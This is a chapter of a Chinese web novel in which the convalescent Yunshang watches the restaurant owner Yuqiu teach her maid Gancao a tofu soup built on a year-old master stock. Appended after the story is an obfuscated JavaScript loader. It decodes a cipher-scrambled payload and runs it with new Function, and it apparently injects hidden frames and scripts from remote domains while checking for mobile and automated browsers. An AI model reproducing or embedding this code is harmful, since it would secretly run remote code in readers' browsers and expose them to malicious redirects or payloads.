第八百六十四章 汤盅的制作(1 / 1)

最后美食大赛不出意外,正是那位做云汇川的女子得了第一名,云裳后来才知道,原来这些人之所以,参加这次的比赛,原来是为了能够有幸可以帮着扬州知府筹办寿宴的席面,云裳听到这些的时候,嘴角倒是扬起一抹冷笑,想着扬州城的人当真是奇怪的很呢?

云裳现在虽然身子好多了,但是,还是不能总是在外面,因为云裳现在的身子,总是特别容易受寒,这不刚才在外面站了一会儿,云裳就觉得自己全身都带着寒气,嗓子也是有些不舒服起来了,不停的咳嗽了起来,甘草刚一听到云裳咳嗽,就紧张的不行了,赶紧上前去帮着云裳准备去熬些药过来,云裳便帮着甘草写了一张药方让其帮着去抓药,说完之后,云裳回到房中,拿起摆放在架子上的一本论语看了起来,云裳其实,对于四书五经算是熟读的,不过,并没有专研过,毕竟,自己不是那种需要去考科举的人呢?所以,只是看看而已,云裳再次拿起论语的时候,颇有中,物是人非的感觉,就在云裳仔细看书的时候门外响起一声接着一声的敲门声,云裳将手中的书放了下来,随后,径直走至门前,将其打开,是没想到居然还是贺宜染,贺宜染端着晚膳,看了一眼云裳,径直走了进去:“奴婢帮着您做了一些吃的,对了,听说,咱们扬州城有好几家酒楼一同举办了一场美食比赛呢?可是,没想到,最后得胜的居然还是美食汇呢?那家酒楼的掌柜的,我倒是认识的呢?”

贺宜染自顾自的说这话,一边将晚膳从托盘上端了下来,云裳看着桌上的几道菜,龙井虾仁,清蒸鱼,红烧排骨,虽然只有三道菜,不过,倒是很不错呢?云裳吃了一口虾仁,没想到,虾仁香甜可口,而且,还满口的茶香,云裳倒是真的十分的喜欢呢?

云裳用完膳漱口之后,看了一眼贺宜染:“对了,你之前说你认识美食汇的掌柜的,那美食汇的掌柜的是男的还是女的呢?”

云裳听着贺宜染的话,隐隐的觉得之前的那个女子,大抵之上就是美食汇的掌柜的吧!贺宜染听到云裳这么一说,倒是有些惊愕的愣了一下,不过,随即淡淡一笑道:“王妃您好生聪明呢?您说的倒是没有错呢?确实如此,她确实是一个女子呢?其实,我倒是蛮佩服她的呢?若是,我一个女子的话,只怕,很难撑得起这样的一家酒楼的呢?”贺宜染是与那个美食汇的掌柜的认识的,所以,对其一些事情还是很了解的呢?就在这个时候,甘草敲了门走了进来,不过,甘草还带来了一个人,而这个人呢就是,他们正在谈论的美食汇的掌柜的,雨秋。

雨秋看到摘下面纱的云裳的时候,愣了好半晌,虽然来得时候,甘草曾经提醒过自己,但是,雨秋还是被眼前的一幕给震惊了,赶紧扑通一声跪了下来:“民女见过小姐,今晚前来是为了教那道云汇川的”

甘草其实已经知道了,毕竟,在来的时候,雨秋也知道自己要教的人正是眼前的甘草,雨秋也知道甘草,并不善于厨艺,所以,雨秋,打算用一晚上好好的教教甘草,直到甘草能够学到八成以上才可。

“好了,倒是不必多礼了呢?其实,此事该是我们该感谢姑娘你的,对了,不知姑娘名姓呢?”云裳摆摆手,让其赶紧起来

甘草走过去将其扶了起来,随后,将雨秋的名字告诉给云裳,便拉着雨秋告辞了,准备去学习那道汤盅了,贺宜染见此也想要多学一样厨艺,虽说酒楼中的大师傅是御膳房中出来的大师傅,厨艺精湛的很,但是,贺宜染还是想要多学一道其他酒楼的特色菜品呢?

所以,匆匆收拾了一下,便也紧跟着出去了,云裳虽然也有些好奇,但是,却是忍住了没有打算去,因为,自己也走不开,蓝云棠来找自己了,蓝云棠拉过云裳的手腕帮其把了一下脉,蓝云棠其实原本对于把脉一事是不懂的,但是,这次因为云裳的身子不好的缘故,所以,蓝云棠特意跟着何大夫学习了一下把脉的事情,蓝云棠倒是聪明的很,没有学上几个时辰,就已经能够帮人把脉了,所以,直接牵过云裳的手把了起来,不过,把完之后有些面色凝重了起来:“你身体有寒气入体,需要好好的保养一下呢?等会儿,我去帮着你打一盆热水过来,帮着你泡泡脚吧!这样的话,你也能好好的睡上一觉呢?”

蓝云棠这次看来是想要亲自伺候云裳了,云裳摇摇头表示自己没事,就在这个时候,甘草端着药走了进来,甘草看到蓝云棠的时候愣了一下,不过,还是将药放置下来:“王妃您好好喝药,奴婢去学习做汤盅了”

云裳喝完药睡了一会儿,瞧着蓝云棠正趴在贵妃榻上睡觉,云裳实在是想要去看看,甘草他们怎么做的汤盅呢?所以,穿好衣服之后,偷偷的溜了出去,酒楼的厨房虽比不上,王府中的厨房那么大,但是,厨房中的东西,倒是一应俱全呢?

云裳走进厨房一看,偌大的厨房什么人都是没有的,不过,还是能闻到很香的味道的呢?云裳将整个厨房找了一遍没有找到人,再次寻着味道找寻着,没想到,他们是在隔间做的呢?

只见,雨秋将豆腐用着勺子一勺一勺的碾成泥,随后,将其放入石锅中,随手从另一个炉子中舀出吊好的老汤,那老汤清澈的很,一点点的油星都没有呢?云裳站在一侧瞧着,只见,甘草趴在炉子前闻了一下那老汤的味道:“这老汤你吊了多久呢?里面都有些什么食材呢?”

雨秋一时间也不知道该怎么回答甘草的问题,于是,索性将汤做好再来回答其问题,汤没有被勾芡,但是,就算是没有被勾芡,这汤却也是浓稠的很呢?雨秋小心翼翼的将其盛入白瓷盅中,笑了笑:“做好了,其实,老汤我吊了大抵之上有一年左右了,每次都需要在里面加上新汤,这样老汤的味道会越来越淳,只有,这样的老汤才能做出这样的汤盅的”

雨秋说到这里的时候,将汤盅端至甘草面前,让其尝尝看,甘草喝了一口,连连点头:“好喝呢?不过,要是这样的话,我岂不是一定是学不会的吗?我们府上没有这样的老汤的”

甘草听完不由的叹息一声,表示自己看来是没有办法做好这么好喝的汤了呢?不过,雨秋则是摇摇头:“其实,还有另一种办法的,不用老汤虽然做不出这样的味道,但是,味道也不会差的呢?那就是用鱼骨,虾头还有加上猪大骨加在一起熬的汤,也可以替代老汤的呢?味道虽比不上老汤,但是,也不差的呢?”

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();